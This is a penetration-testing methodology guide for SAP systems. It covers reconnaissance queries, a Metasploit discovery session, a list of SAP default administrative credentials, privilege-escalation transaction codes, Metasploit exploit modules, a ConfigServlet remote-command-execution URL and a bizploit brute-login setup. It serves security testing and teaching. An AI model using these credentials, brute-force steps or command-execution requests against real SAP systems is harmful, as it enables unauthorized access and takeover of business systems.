Pentesting SAP
SAP stands for Systems Applications and Products in Data Processing. SAP, by definition, is also the name of the ERP (Enterprise Resource Planning) software as well as the name of the company. SAP system consists of a number of fully integrated modules, which covers virtually every aspect of business management.
Each SAP instance (or SID) is composed of three layers: database, application and presentation), each landscape usually consists of four instances: dev, test, QA and production. Each of the layers can be exploited to some extent, but most effect can be gained by attacking the database.
Each SAP instance is divided into clients. Each one has a user SAP*, the application’s equivalent of “root”. Upon initial creation, this user SAP* gets a default password: “060719992” (more default password below). You’d be surprised if you knew how often these passwords aren’t changed in test or dev environments!
Try to get access to the shell of any server using username <SID>adm. Bruteforcing can help, whoever there can be Account Lockout mechanism.
Next section is mostly from https://github.com/shipcod3/mySapAdventures from user shipcod3!
Check the Application Scope or Program Brief for testing. Take note of the hostnames or system instances for connecting to SAP GUI.
Use OSINT (open source intelligence), Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public:
inurl:50000/irj/portalinurl:IciEventService/IciEventConfinurl:/wsnavigator/jsps/test.jspinurl:/irj/go/km/docs/https://www.shodan.io/search?query=sap+portalhttps://www.shodan.io/search?query=SAP+Netweaverhttps://www.shodan.io/search?query=SAP+J2EE+Engine
Here is what http://SAP:50000/irj/portal looks like
Use nmap to check for open ports and known services (sap routers, webdnypro, web services, web servers, etc.)
Crawl the URLs if there is a web server running.
Fuzz the directories (you can use Burp Intruder) if it has web servers on certain ports. Here are some good wordlists provided by the SecLists Project for finding default SAP ICM Paths and other interesting directories or files:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt
Use the SAP SERVICE DISCOVERY auxiliary Metasploit module for enumerating SAP instances/services/components:
msf > use auxiliary/scanner/sap/sap_service_discoverymsf auxiliary(sap_service_discovery) > show optionsModule options (auxiliary/scanner/sap/sap_service_discovery):Name Current Setting Required Description---- --------------- -------- -----------CONCURRENCY 10 yes The number of concurrent ports to check per hostINSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)RHOSTS yes The target address range or CIDR identifierTHREADS 1 yes The number of concurrent threadsTIMEOUT 1000 yes The socket connect timeout in millisecondsmsf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101rhosts => 192.168.96.101msf auxiliary(sap_service_discovery) > run[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
Here is the command to connect to SAP GUI
sapgui <sap server hostname> <system number>
Check for default credentials (In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -> Server Security Misconfiguration | Using Default Credentials | Production Server):
# SAP* - High privileges - Hardcoded kernel userSAP*:06071992:*SAP*:PASS:*# IDEADM - High Privileges - Only in IDES systemsIDEADM:admin:*# DDIC - High privileges - User has SAP_ALLDDIC:19920706:000,001# EARLYWATCH - High privilegesEARLYWATCH:SUPPORT:066# TMSADM - Medium privilegesTMSADM:PASSWORD:000TMSADM:$1Pawd2&:000# SAPCPIC - Medium privilegesSAPCPIC:ADMIN:000,001# SOLMAN dialog default users and passwords.# For more info check:# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf# https://launchpad.support.sap.com/#/notes/2293011# SOLMAN_ADMIN - High privileges - Only on SOLMAN systemsSOLMAN_ADMIN:init1234:*# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systemsSAPSUPPORT:init1234:*# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems#SOLMAN<SID><CLNT>:init1234:*# Trial systems# -------------# AS ABAP 7.40 SP08 Developer Edition:# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/DDIC:DidNPLpw2014:001SAP*:DidNPLpw2014:001DEVELOPER:abCd1234:001BWDEVELOPER:abCd1234:001# AS ABAP 7.50 SP02 Developer Edition:# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/# AS ABAP 7.51 SP02 Developer Edition:# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/DDIC:Appl1ance:000,001SAP*:Appl1ance:000,001DEVELOPER:Appl1ance:001BWDEVELOPER:Appl1ance:001# AS ABAP 7.51 SP01 Developer Edition:# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/# AS ABAP 7.52 SP04 Developer Edition:# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/DDIC:Down1oad:000,001SAP*:Down1oad:000,001DEVELOPER:Down1oad:001BWDEVELOPER:Down1oad:001
Run Wireshark then authenticate to the client (SAP GUI) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center.
Check for privilege escalations like using some SAP Transaction Codes (tcodes) for low-privilege users: SU01 - To create and maintain the users SU01D - To Display Users SU10 - For mass maintenance SU02 - For Manual creation of profiles SM19 - Security audit - configuration SE84 - Information System for SAP R/3 Authorizations
Check if you can execute system commands / run scripts in the client.
Check if you can do XSS on BAPI Explorer
Crawl the URLs (see discovery phase).
Fuzz the URLs like in the discovery phase. Here is what http://SAP:50000/index.html looks like:
Look for common web vulnerabilities (Refer to OWASP Top 10) because there are XSS, RCE, XXE, etc. vulnerabilities in some places.
Check out Jason Haddix’s “The Bug Hunters Methodology” for testing web vulnerabilities.
Auth Bypass via verb Tampering? Maybe :)
Open
http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users (Vulnerability Reference: ERPSCAN-16-010 )Are the credentials submitted over HTTP? If it is then it is considered as P3 based on Bugcrowd’s Vulnerability Rating Taxonomy: Broken Authentication and Session Management | Weak Login Function Over HTTP. Hint: Check out http://SAP:50000/startPage too or the logon portals :)
Try
/irj/go/km/navigation/for possible directory listing or authentication bypasshttp://SAP/sap/public/info contains some juicy information:
This XML file does not appear to have any style information associated with it. The document tree is shown below.<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions"><RFCSI><RFCPROTO>011</RFCPROTO><RFCCHARTYP>4102</RFCCHARTYP><RFCINTTYP>BIG</RFCINTTYP><RFCFLOTYP>IE3</RFCFLOTYP><RFCDEST>randomnum</RFCDEST><RFCHOST>randomnum</RFCHOST><RFCSYSID>BRQ</RFCSYSID><RFCDATABS>BRQ</RFCDATABS><RFCDBHOST>randomnum</RFCDBHOST><RFCDBSYS>ORACLE</RFCDBSYS><RFCSAPRL>740</RFCSAPRL><RFCMACH>324</RFCMACH><RFCOPSYS>AIX</RFCOPSYS><RFCTZONE>-25200</RFCTZONE><RFCDAYST/><RFCIPADDR>192.168.1.8</RFCIPADDR><RFCKERNRL>749</RFCKERNRL><RFCHOST2>randomnum</RFCHOST2><RFCSI_RESV/><RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR></RFCSI></rfc:RFC_SYSTEM_INFO.Response></SOAP-ENV:Body></SOAP-ENV:Envelope>
Check if it runs on old servers or technologies like Windows 2000.
Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery (auxiliary modules) and exploits:
msf > search sapMatching Modules================Name Disclosure Date Rank Description---- --------------- ---- -----------auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injectionauxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Executionauxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecuteauxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletionauxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoSauxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoSauxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcerauxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcerauxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumerationauxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detectionauxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Managementauxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosureauxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gatheringauxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scannerauxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosureauxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Forceauxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Usersauxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Pointsauxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironmentauxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfileauxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessListauxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parametersauxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Propertiesauxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfilesauxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfileauxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detectionauxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Requestauxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scannerauxiliary/scanner/sap/sap_service_discovery normal SAP Service Discoveryauxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuseauxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creationauxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcerauxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injectionauxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injectionauxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosureauxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Checkauxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discoveryauxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Dataauxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listingauxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creationauxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Executionauxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTEauxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gatheringauxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosureauxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcerexploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Executionexploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Executionexploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Executionexploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Downloadexploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflowexploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflowexploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Executionexploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injectionexploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflowexploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflowexploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflowexploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
Try to use some known exploits (check out Exploit-DB) or attacks like the old but goodie “SAP ConfigServlet Remote Code Execution” in the SAP Portal:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
Before running the
startcommand on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:
bizploit> pluginsbizploit/plugins> vulnassess allbizploit/plugins> vulnassess config bruteLoginbizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsersbizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar Truebizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd Truebizploit/plugins/vulnassess/config:bruteLogin> backbizploit/plugins> vulnassess config registerExtServerbizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgwbizploit/plugins/vulnassess/config:registerExtServer> backbizploit/plugins> vulnassess config checkRFCPrivsbizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands Truebizploit/plugins/vulnassess/config:checkRFCPrivs> backbizploit/plugins> vulnassess config icmAdminbizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/adminbizploit/plugins/vulnassess/config:icmAdmin> backbizploit/plugins> startbizploit/plugins> backbizploit> start
PowerSAP - Powershell tool to assess sap security
Burp Suite - a must have for directory fuzzing and web security assessments
pysap - Python library to craft SAP network protocol packets
https://github.com/gelim/nmap-erpscan - Help nmap to detect SAP/ERP
https://github.com/davehardy20/SAP-Stuff - a script to semi-automate Bizploit
